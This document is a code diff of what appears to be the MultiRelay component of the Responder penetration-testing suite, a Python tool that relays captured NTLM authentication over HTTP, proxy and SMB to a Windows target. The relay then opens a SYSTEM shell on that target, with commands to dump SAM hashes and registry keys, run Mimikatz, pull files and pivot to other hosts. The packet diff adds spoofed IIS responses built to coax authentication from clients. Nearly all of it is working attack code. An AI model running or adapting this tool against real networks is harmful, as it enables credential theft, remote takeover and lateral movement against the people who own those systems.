+ExtraPort        = options.ExtraPort
+UserToRelay      = options.UserToRelay
+
+Host             = [options.TARGET]
+Cmd              = []
+ShellOpen        = []
+Pivoting         = [2]
+
+
+def color(txt, code = 1, modifier = 0):
+	return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
+
+def ShowWelcome():
+     print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1)
+     print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com'
+     print 'Usernames to relay (-u) are case sensitive.'
+     print 'To kill this script hit CRTL-C.\n'
+     print color('/*',8,1)
+     print 'Use this script in combination with Responder.py for best results.'
+     print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n'
+     print 'This tool listen on TCP port 80, 3128 and 445.'
+     print 'For optimal pwnage, launch Responder only with these 2 options:'
+     print '-rv\nAvoid running a command that will likely prompt for information like net use, etc.'
+     print 'If you do so, use taskkill (as system) to kill the process.'
+     print color('*/',8,1)
+     print color('\nRelaying credentials for these users:',8,1)
+     print color(UserToRelay,4,1)
+     print '\n'
+
+
+ShowWelcome()
+
+def ShowHelp():
+     print color('Available commands:',8,0)
+     print color('dump',8,1)+'               -> Extract the SAM database and print hashes.'
+     print color('regdump KEY',8,1)+'        -> Dump an HKLM registry key (eg: regdump SYSTEM)'
+     print color('read Path_To_File',8,1)+'  -> Read a file (eg: read /windows/win.ini)'
+     print color('get  Path_To_File',8,1)+'  -> Download a file (eg: get users/administrator/desktop/password.txt)'
+     print color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)'
+     print color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\'
+     print color('runas  Command',8,1)+'     -> Run a command as the currently logged in user. (eg: runas whoami)'
+     print color('scan /24',8,1)+'           -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to'
+     print color('pivot  IP address',8,1)+'  -> Connect to another host (eg: pivot 10.0.0.12)'
+     print color('mimi  command',8,1)+'      -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)'
+     print color('mimi32  command',8,1)+'    -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)'
+     print color('lcmd  command',8,1)+'      -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)'
+     print color('help',8,1)+'               -> Print this message.'
+     print color('exit',8,1)+'               -> Exit this shell and return in relay mode.'
+     print '                      If you want to quit type exit and then use CRTL-C\n'
+     print color('Any other command than that will be run as SYSTEM on the target.\n',8,1)
+
+Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../"
+Logs = logging
+Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
+
+def UploadContent(File):
+    with file(File) as f:
+        s = f.read()
+    FileLen = len(s)
+    FileContent = s
+    return FileLen, FileContent
+
+try:
+    RunFinger(Host[0])
+except:
+    print "The host %s seems to be down or port 445 down."%(Host[0])
+    sys.exit(1)
+
+
+def get_command():
+    global Cmd
+    Cmd = []
+    while any(x in Cmd for x in Cmd) is False:
+       Cmd = [raw_input("C:\\Windows\\system32\\:#")]
+
+#Function used to make sure no connections are accepted while we have an open shell.
+#Used to avoid any possible broken pipe.
+def IsShellOpen():
+    #While there's nothing in our array return false.
+    if any(x in ShellOpen for x in ShellOpen) is False:
+       return False
+    #If there is return True.
+    else:
+       return True
+
+#Function used to make sure no connections are accepted on HTTP and HTTP_Proxy while we are pivoting.
+def IsPivotOn():
+    #While there's nothing in our array return false.
+    if Pivoting[0] == "2":
+       return False
+    #If there is return True.
+    if Pivoting[0] == "1":
+       return True
+
+def ConnectToTarget():
+        try:
+            s = socket(AF_INET, SOCK_STREAM)
+            s.connect((Host[0],445))  
+            return s
+        except:
+            try:
+                sys.exit(1)
+                print "Cannot connect to target, host down?"
+            except:
+                pass
+
+class HTTPProxyRelay(BaseRequestHandler):
+     
+    def handle(self):
+
+        try:
+            #Don't handle requests while a shell is open. That's the goal after all.
+            if IsShellOpen():
+               return None
+            if IsPivotOn():
+               return None
+        except:
+            raise
+
+        s = ConnectToTarget()
+        try:
+            data = self.request.recv(8092)
+            ##First we check if it's a Webdav OPTION request.
+            Webdav = ServeOPTIONS(data)
+            if Webdav:
+                #If it is, send the option answer, we'll send him to auth when we receive a profind.
+                self.request.send(Webdav)
+                data = self.request.recv(4096)
+
+            NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
+            ##Make sure incoming packet is an NTLM auth, if not send HTTP 407.
+	    if NTLM_Auth:
+                #Get NTLM Message code. (1:negotiate, 2:challenge, 3:auth)
+	        Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
+
+		if Packet_NTLM == "\x01":
+                    ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
+                    h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
+                    n = SMBNegoCairo(Data = SMBNegoCairoData())
+                    n.calculate()
+                    packet0 = str(h)+str(n)
+                    buffer0 = longueur(packet0)+packet0
+                    s.send(buffer0)
+                    smbdata = s.recv(2048)
+                    ##Session Setup AndX Request, NTLMSSP_NEGOTIATE
+                    if smbdata[8:10] == "\x72\x00":
+                        head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
+                        t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
+                        t.calculate() 
+                        packet1 = str(head)+str(t)
+                        buffer1 = longueur(packet1)+packet1  
+                        s.send(buffer1)
+                        smbdata = s.recv(2048) #got it here.
+                        
+                    ## Send HTTP Proxy
+	            Buffer_Ans = WPAD_NTLM_Challenge_Ans()
+		    Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
+                    key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
+		    self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
+                    data = self.request.recv(8092)
+                    NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
+                    Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9]
+
+                    ##Got NTLM Message 3 from client.
+		    if Packet_NTLM == "\x03":
+	                NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth))
+                        ##Might be anonymous, verify it and if so, send no go to client.
+                        if IsSMBAnonymous(NTLM_Auth):
+                            Response = WPAD_Auth_407_Ans()
+	                    self.request.send(str(Response))
+                            data = self.request.recv(8092)
+                        else:
+                            #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
+                            #and has not attempted before. While at it, let's grab his hash.
+                            Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
+
+                            if Username is not None:
+                                head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
+                                t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
+                                t.calculate()
+                                packet1 = str(head)+str(t)
+                                buffer1 = longueur(packet1)+packet1
+                                print "[+] SMB Session Auth sent."
+                                s.send(buffer1)
+                                smbdata = s.recv(2048)
+   	                        RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
+                                if RunCmd is None:
+                                   s.close()
+	                           self.request.close()
+                                   return None
+
+	    else:
+                ##Any other type of request, send a 407.
+                Response = WPAD_Auth_407_Ans()
+	        self.request.send(str(Response))
+
+        except Exception:
+	    self.request.close()
+            ##No need to print anything (timeouts, rst, etc) to the user console..
+	    pass
+
+
+class HTTPRelay(BaseRequestHandler):
+     
+    def handle(self):
+
+        try:
+            #Don't handle requests while a shell is open. That's the goal after all.
+            if IsShellOpen():
+               return None
+            if IsPivotOn():
+               return None
+        except:
+            raise
+
+        try:
+            s = ConnectToTarget()
+
+            data = self.request.recv(8092)
+            ##First we check if it's a Webdav OPTION request.
+            Webdav = ServeOPTIONS(data)
+            if Webdav:
+                #If it is, send the option answer, we'll send him to auth when we receive a profind.
+                self.request.send(Webdav)
+                data = self.request.recv(4096)
+
+            NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
+            ##Make sure incoming packet is an NTLM auth, if not send HTTP 407.
+	    if NTLM_Auth:
+                #Get NTLM Message code. (1:negotiate, 2:challenge, 3:auth)
+	        Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
+
+		if Packet_NTLM == "\x01":
+                    ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
+                    h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
+                    n = SMBNegoCairo(Data = SMBNegoCairoData())
+                    n.calculate()
+                    packet0 = str(h)+str(n)
+                    buffer0 = longueur(packet0)+packet0
+                    s.send(buffer0)
+                    smbdata = s.recv(2048)
+                    ##Session Setup AndX Request, NTLMSSP_NEGOTIATE
+                    if smbdata[8:10] == "\x72\x00":
+                        head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
+                        t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
+                        t.calculate() 
+                        packet1 = str(head)+str(t)
+                        buffer1 = longueur(packet1)+packet1  
+                        s.send(buffer1)
+                        smbdata = s.recv(2048) #got it here.
+                        
+                    ## Send HTTP Response.
+	            Buffer_Ans = IIS_NTLM_Challenge_Ans()
+		    Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
+                    key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
+		    self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
+                    data = self.request.recv(8092)
+                    NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
+                    Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9]
+
+                    ##Got NTLM Message 3 from client.
+		    if Packet_NTLM == "\x03":
+	                NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth))
+                        ##Might be anonymous, verify it and if so, send no go to client.
+                        if IsSMBAnonymous(NTLM_Auth):
+                            Response = IIS_Auth_401_Ans()
+	                    self.request.send(str(Response))
+                            data = self.request.recv(8092)
+                        else:
+                            #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
+                            #and has not attempted before. While at it, let's grab his hash.
+                            Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
+
+                            if Username is not None:
+                                head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
+                                t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
+                                t.calculate()
+                                packet1 = str(head)+str(t)
+                                buffer1 = longueur(packet1)+packet1  
+                                print "[+] SMB Session Auth sent."
+                                s.send(buffer1)
+                                smbdata = s.recv(2048)
+   	                        RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
+                                if RunCmd is None:
+                                   s.close()
+	                           self.request.close()
+                                   return None
+
+	    else:
+                ##Any other type of request, send a 407.
+                Response = IIS_Auth_401_Ans()
+	        self.request.send(str(Response))
+
+
+        except Exception:
+	    self.request.close()
+            ##No need to print anything (timeouts, rst, etc) to the user console..
+	    pass
+
+class SMBRelay(BaseRequestHandler):
+     
+    def handle(self):
+
+        try:
+            #Don't handle requests while a shell is open. That's the goal after all.
+            if IsShellOpen():
+               return None
+        except:
+            raise
+
+        s = ConnectToTarget()
+        try:
+            data = self.request.recv(4096)
+
+            ##Negotiate proto answer. That's us.
+            if data[8:10] == "\x72\x00":
+                head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc7", pid=pidcalc(data),mid=midcalc(data))
+                t = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(data))
+                packet1 = str(head)+str(t)
+                buffer1 = longueur(packet1)+packet1
+                self.request.send(buffer1)
+                data = self.request.recv(4096)
+
+            ## Make sure it's not a Kerberos auth.
+            if data.find("NTLM") is not -1:
+               ## Start with nego protocol + session setup negotiate to our target.
+               data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
+
+            ## Make sure it's not a Kerberos auth.
+            if data.find("NTLM") is not -1:
+                ##Relay all that to our client.
+                if data[8:10] == "\x73\x00":
+                   head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
+                   #NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange.
+                   #Then simply grab the whole session setup packet except the smb header from the client and pass it to the server.
+                   t = smbdata[36:]
+                   packet0 = str(head)+str(t)
+                   buffer0 = longueur(packet0)+packet0
+                   self.request.send(buffer0)
+                   data = self.request.recv(4096)
+            else:
+               #if it's kerberos, ditch the connection.
+               s.close()
+               return None
+
+            if IsSMBAnonymous(data):
+                ##Send logon failure for anonymous logins.
+                head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
+                t = SMBSessEmpty()
+                packet1 = str(head)+str(t)
+                buffer1 = longueur(packet1)+packet1
+                self.request.send(buffer1)
+                s.close()
+                return None
+
+            else:
+                #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
+                #and has not attempted before. While at it, let's grab his hash.
+                Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting)
+                if Username is not None:
+                    ##Got the ntlm message 3, send it over to SMB.
+                    head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
+                    t = data[36:]#Final relay.
+                    packet1 = str(head)+str(t)
+                    buffer1 = longueur(packet1)+packet1
+                    if Pivoting[0] == "1":
+                       pass
+                    else:
+                       print "[+] SMB Session Auth sent."
+                    s.send(buffer1)
+                    smbdata = s.recv(4096)
+                    #We're all set, dropping into shell.
+   	            RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
+                    #If runcmd is None it's because tree connect was denied for this user.
+                    #This will only happen once with that specific user account. 
+                    #Let's kill that connection so we can force him to reauth with another account.
+                    if RunCmd is None:
+                        s.close()
+                        return None
+
+                else:
+                   ##Send logon failure, so our client might authenticate with another account.    
+                   head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
+                   t = SMBSessEmpty()
+                   packet1 = str(head)+str(t)
+                   buffer1 = longueur(packet1)+packet1
+                   self.request.send(buffer1)
+                   data = self.request.recv(4096)
+                   self.request.close()
+                   return None
+
+        except Exception:
+	    self.request.close()
+            ##No need to print anything (timeouts, rst, etc) to the user console..
+	    pass
+
+
+#Interface starts here.
+def RunShellCmd(data, s, clientIP, Target, Username, Domain):
+
+    #Let's declare our globals here..
+    #Pivoting gets used when the pivot cmd is used, it let us figure out in which mode is MultiRelay. Initial Relay or Pivot mode.
+    global Pivoting
+    #Update Host, when pivoting is used.
+    global Host
+    #Make sure we don't open 2 shell at the same time..
+    global ShellOpen
+    ShellOpen = ["Shell is open"]
+
+    # On this block we do some verifications before dropping the user into the shell.
+    if data[8:10] == "\x73\x6d":
+        print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target."
+        print "[+] Hashes were saved anyways in Responder/logs/ folder.\n"
+        Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
+        del ShellOpen[:]
+        return False
+
+    if data[8:10] == "\x73\x8d":
+        print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
+        Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
+        del ShellOpen[:]
+        return False
+
+    if data[8:10] == "\x73\x5e":
+        print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
+        del ShellOpen[:]
+        return False
+
+    ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:    
+    ## Tree Connect
+    if data[8:10] == "\x73\x00":
+        GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session.
+        head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+        t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$")
+        t.calculate() 
+        packet1 = str(head)+str(t)
+        buffer1 = longueur(packet1)+packet1  
+        s.send(buffer1)
+        data = s.recv(2048)
+
+    ## Nope he doesn't.
+    if data[8:10] == "\x75\x22":
+        if Pivoting[0] == "1":
+           pass
+        else:
+           print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
+           Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
+        del ShellOpen[:]
+        return False
+
+    # This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. 
+    if data[8:10] == "\x75\xcc":
+        print "[+] Tree Connect AndX denied. Bad Network Name returned."
+        del ShellOpen[:]
+        return False
+
+    ## Tree Connect on C$ is successfull.
+    if data[8:10] == "\x75\x00":
+        if Pivoting[0] == "1":
+           pass
+        else:
+           print "[+] Looks good, "+Username+" has admin rights on C$."
+        head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+        t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")
+        t.calculate() 
+        packet1 = str(head)+str(t)
+        buffer1 = longueur(packet1)+packet1  
+        s.send(buffer1)
+        data = s.recv(2048)
+
+    ## Run one command.
+    if data[8:10] == "\x75\x00" and OneCommand != None or Dump:
+        print "[+] Authenticated."
+        if OneCommand != None:
+           print "[+] Running command: %s"%(OneCommand)
+           RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0])
+        if Dump:
+           print "[+] Dumping hashes"
+           DumpHashes(data, s, Target[0])
+        os._exit(1)
+
+    ## Drop into the shell.
+    if data[8:10] == "\x75\x00" and OneCommand == None:
+        if Pivoting[0] == "1":
+           pass
+        else:
+           print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
+           ShowHelp()
+        Logs.info("Client:"+clientIP+", "+Domain+"\\"+Username+" --> Target: "+Target[0]+" -> Shell acquired")
+        print color('Connected to %s as LocalSystem.'%(Target[0]),2,1)
+
+    while True:
+
+        ## We either just arrived here or we're back from a command operation, let's setup some stuff.
+        if data[8:10] == "\x75\x00":
+            #start a thread for raw_input, so we can do other stuff while we wait for a command.
+            t = Thread(target=get_command, args=())
+            t.daemon = True
+            t.start()
+
+            #Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation 
+            #to maintain MultiRelay alive and well.
+            count = 0
+            DoEvery = random.randint(10, 45)
+            while any(x in Cmd for x in Cmd) is False:
+                count = count+1
+                SMBKeepAlive(s, data)
+                if count == DoEvery:
+                   DumbSMBChain(data, s, Target[0])
+                   count = 0
+                if any(x in Cmd for x in Cmd) is True:
+                   break
+
+            ##Grab the commands. Cmd is global in get_command().
+            DumpReg = re.findall('^dump', Cmd[0])
+            Read    = re.findall('^read (.*)$', Cmd[0])
+            RegDump = re.findall('^regdump (.*)$', Cmd[0])
+            Get     = re.findall('^get (.*)$', Cmd[0])
+            Upload  = re.findall('^upload (.*)$', Cmd[0])
+            Delete  = re.findall('^delete (.*)$', Cmd[0])
+            RunAs   = re.findall('^runas (.*)$', Cmd[0])
+            LCmd    = re.findall('^lcmd (.*)$', Cmd[0])
+            Mimi    = re.findall('^mimi (.*)$', Cmd[0])
+            Mimi32  = re.findall('^mimi32 (.*)$', Cmd[0])
+            Scan    = re.findall('^scan (.*)$', Cmd[0])
+            Pivot   = re.findall('^pivot (.*)$', Cmd[0])
+            Help    = re.findall('^help', Cmd[0])
+
+            if Cmd[0] == "exit":
+               print "[+] Returning in relay mode."
+               del Cmd[:]
+               del ShellOpen[:]
+               return None
+
+            ##For all of the following commands we send the data (var: data) returned by the 
+            ##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore. 
+            ##We also clean up the command array when done.
+            if DumpReg:
+               data = DumpHashes(data, s, Target[0])
+               del Cmd[:]
+
+            if Read:
+               File = Read[0]
+               data = ReadFile(data, s, File, Target[0])
+               del Cmd[:]
+
+            if Get:
+               File = Get[0]
+               data = GetAfFile(data, s, File, Target[0])
+               del Cmd[:]
+
+            if Upload:
+               File = Upload[0]
+               if os.path.isfile(File):   
+                  FileSize, FileContent = UploadContent(File)
+                  File = os.path.basename(File)
+                  data = WriteFile(data, s, File,  FileSize, FileContent, Target[0])
+                  del Cmd[:]
+               else:
+                  print File+" does not exist, please specify a valid file."
+                  del Cmd[:]
+
+            if Delete:
+               Filename = Delete[0]
+               data = DeleteFile(data, s, Filename, Target[0])
+               del Cmd[:]
+
+            if RegDump:
+               Key = RegDump[0]
+               data = SaveAKey(data, s, Target[0], Key)
+               del Cmd[:]
+
+            if RunAs:
+               if os.path.isfile(RunAsFileName):   
+                  FileSize, FileContent = UploadContent(RunAsFileName)
+                  FileName = os.path.basename(RunAsFileName)
+                  data = WriteFile(data, s, FileName,  FileSize, FileContent, Target[0])
+                  Exec = RunAs[0]
+                  data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName)
+                  del Cmd[:]
+               else:
+                  print RunAsFileName+" does not exist, please specify a valid file."
+                  del Cmd[:]
+
+            if LCmd:
+               subprocess.call(LCmd[0], shell=True) 
+               del Cmd[:]
+
+            if Mimi:
+               if os.path.isfile(MimikatzFilename):   
+                  FileSize, FileContent = UploadContent(MimikatzFilename)
+                  FileName = os.path.basename(MimikatzFilename)
+                  data = WriteFile(data, s, FileName,  FileSize, FileContent, Target[0])
+                  Exec = Mimi[0]
+                  data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
+                  del Cmd[:]
+               else:
+                  print MimikatzFilename+" does not exist, please specify a valid file."
+                  del Cmd[:]
+
+            if Mimi32:
+               if os.path.isfile(Mimikatzx86Filename):   
+                  FileSize, FileContent = UploadContent(Mimikatzx86Filename)
+                  FileName = os.path.basename(Mimikatzx86Filename)
+                  data = WriteFile(data, s, FileName,  FileSize, FileContent, Target[0])
+                  Exec = Mimi32[0]
+                  data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
+                  del Cmd[:]
+               else:
+                  print Mimikatzx86Filename+" does not exist, please specify a valid file."
+                  del Cmd[:]
+
+            if Pivot:
+               if Pivot[0] == Target[0]:
+                  print "[Pivot Verification Failed]: You're already on this host. No need to pivot."
+                  del Pivot[:]
+                  del Cmd[:]
+               else:
+                  if ShowSigning(Pivot[0]):
+                     del Pivot[:]
+                     del Cmd[:]
+                  else:
+                     if os.path.isfile(RunAsFileName):   
+                        FileSize, FileContent = UploadContent(RunAsFileName)
+                        FileName = os.path.basename(RunAsFileName)
+                        data = WriteFile(data, s, FileName,  FileSize, FileContent, Target[0])
+                        RunAsPath = '%windir%\\Temp\\'+FileName
+                        Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName)
+
+                        if Status == True:
+                           print "[+] Pivoting to %s."%(Pivot[0])
+                           if os.path.isfile(RunAsFileName):   
+                              FileSize, FileContent = UploadContent(RunAsFileName)
+                              data = WriteFile(data, s, FileName,  FileSize, FileContent, Target[0])
+                              #shell will close.
+                              del ShellOpen[:]
+                              #update the new host.
+                              Host = [Pivot[0]]
+                              #we're in pivoting mode.
+                              Pivoting = ["1"]
+                              data = PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Target[0], RunAsPath, FileName)
+                              del Cmd[:]
+                              s.close()
+                              return None
+
+                        if Status == False:
+                           print "[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host."
+                           del Cmd[:]
+                           del Pivot[:]
+                     else:
+                        print RunAsFileName+" does not exist, please specify a valid file."
+                        del Cmd[:]
+
+            if Scan:
+               LocalIp = FindLocalIp()
+               Range = ConvertToClassC(Target[0], Scan[0])
+               RunPivotScan(Range, Target[0])
+               del Cmd[:]
+
+            if Help:
+               ShowHelp()
+               del Cmd[:]
+
+            ##Let go with the command.
+            if any(x in Cmd for x in Cmd):
+                if len(Cmd[0]) > 1:
+                   if os.path.isfile(SysSVCFileName):   
+                      FileSize, FileContent = UploadContent(SysSVCFileName)
+                      FileName = os.path.basename(SysSVCFileName)
+                      RunPath = '%windir%\\Temp\\'+FileName
+                      data = WriteFile(data, s, FileName,  FileSize, FileContent, Target[0])
+                      data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName)
+                      del Cmd[:]
+                   else:
+                      print SysSVCFileName+" does not exist, please specify a valid file."
+                      del Cmd[:]
+
+        if data is None:
+           print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n"
+
+        if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop.  
+            head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+            t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")#
+            t.calculate() 
+            packet1 = str(head)+str(t)
+            buffer1 = longueur(packet1)+packet1  
+            s.send(buffer1)
+            data = s.recv(2048)
+
+class ThreadingTCPServer(TCPServer):
+     def server_bind(self):
+          TCPServer.server_bind(self)
+
+ThreadingTCPServer.allow_reuse_address = 1
+ThreadingTCPServer.daemon_threads = True
+
+def serve_thread_tcp(host, port, handler):
+     try:
+          server = ThreadingTCPServer((host, port), handler)
+          server.serve_forever()
+     except: 
+          print color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1)
+
+def main():
+     try:
+          threads = []
+          threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMBRelay,)))
+          threads.append(Thread(target=serve_thread_tcp, args=('', 3128, HTTPProxyRelay,)))
+          threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTPRelay,)))
+          if ExtraPort != 0:
+             threads.append(Thread(target=serve_thread_tcp, args=('', int(ExtraPort), HTTPProxyRelay,)))
+          for thread in threads:
+               thread.setDaemon(True)
+               thread.start()
+
+          while True:
+               time.sleep(1)
+
+     except (KeyboardInterrupt, SystemExit):
+          ##If we reached here after a MultiRelay shell interaction, we need to reset the terminal to its default.
+          ##This is a bug in python readline when dealing with raw_input()..
+          if ShellOpen:
+             os.system('stty sane')
+          ##Then exit
+          sys.exit("\rExiting...")
+
+if __name__ == '__main__':
+     main()

tools/MultiRelay/RelayMultiPackets.py

@@ -15,17 +15,11 @@
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import struct
-import sys
-import random
-import time
+import os
 from odict import OrderedDict
 import datetime
 from base64 import b64decode, b64encode
 
-def longueur(payload):
-    length = struct.pack(">i", len(''.join(payload)))
-    return length
-
 class Packet():
     fields = OrderedDict([
         ("data", ""),
@@ -40,11 +34,13 @@ class Packet():
     def __str__(self):
         return "".join(map(str, self.fields.values()))
 
+
 ##################HTTP Proxy Relay##########################
 def HTTPCurrentDate():
     Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
     return Date
 
+#407 section.
 class WPAD_Auth_407_Ans(Packet):
 	fields = OrderedDict([
 		("Code",          "HTTP/1.1 407 Unauthorized\r\n"),
@@ -77,12 +73,153 @@ class WPAD_NTLM_Challenge_Ans(Packet):
 	def calculate(self,payload):
 		self.fields["Payload"] = b64encode(payload)
 
-##################SMB Relay Packet##########################
+#401 section:
+class IIS_Auth_401_Ans(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 401 Unauthorized\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("Type",          "Content-Type: text/html\r\n"),
+		("WWW-Auth",      "WWW-Authenticate: NTLM\r\n"),
+		("Len",           "Content-Length: 0\r\n"),
+		("CRLF",          "\r\n"),
+	])
+
+class IIS_Auth_Granted(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 200 OK\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("Type",          "Content-Type: text/html\r\n"),
+		("WWW-Auth",      "WWW-Authenticate: NTLM\r\n"),
+		("ContentLen",    "Content-Length: "),
+		("ActualLen",     "76"),
+		("CRLF",          "\r\n\r\n"),
+		("Payload",       "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
+	])
+	def calculate(self):
+		self.fields["ActualLen"] = len(str(self.fields["Payload"]))
+
+class IIS_NTLM_Challenge_Ans(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 401 Unauthorized\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("Type",          "Content-Type: text/html\r\n"),
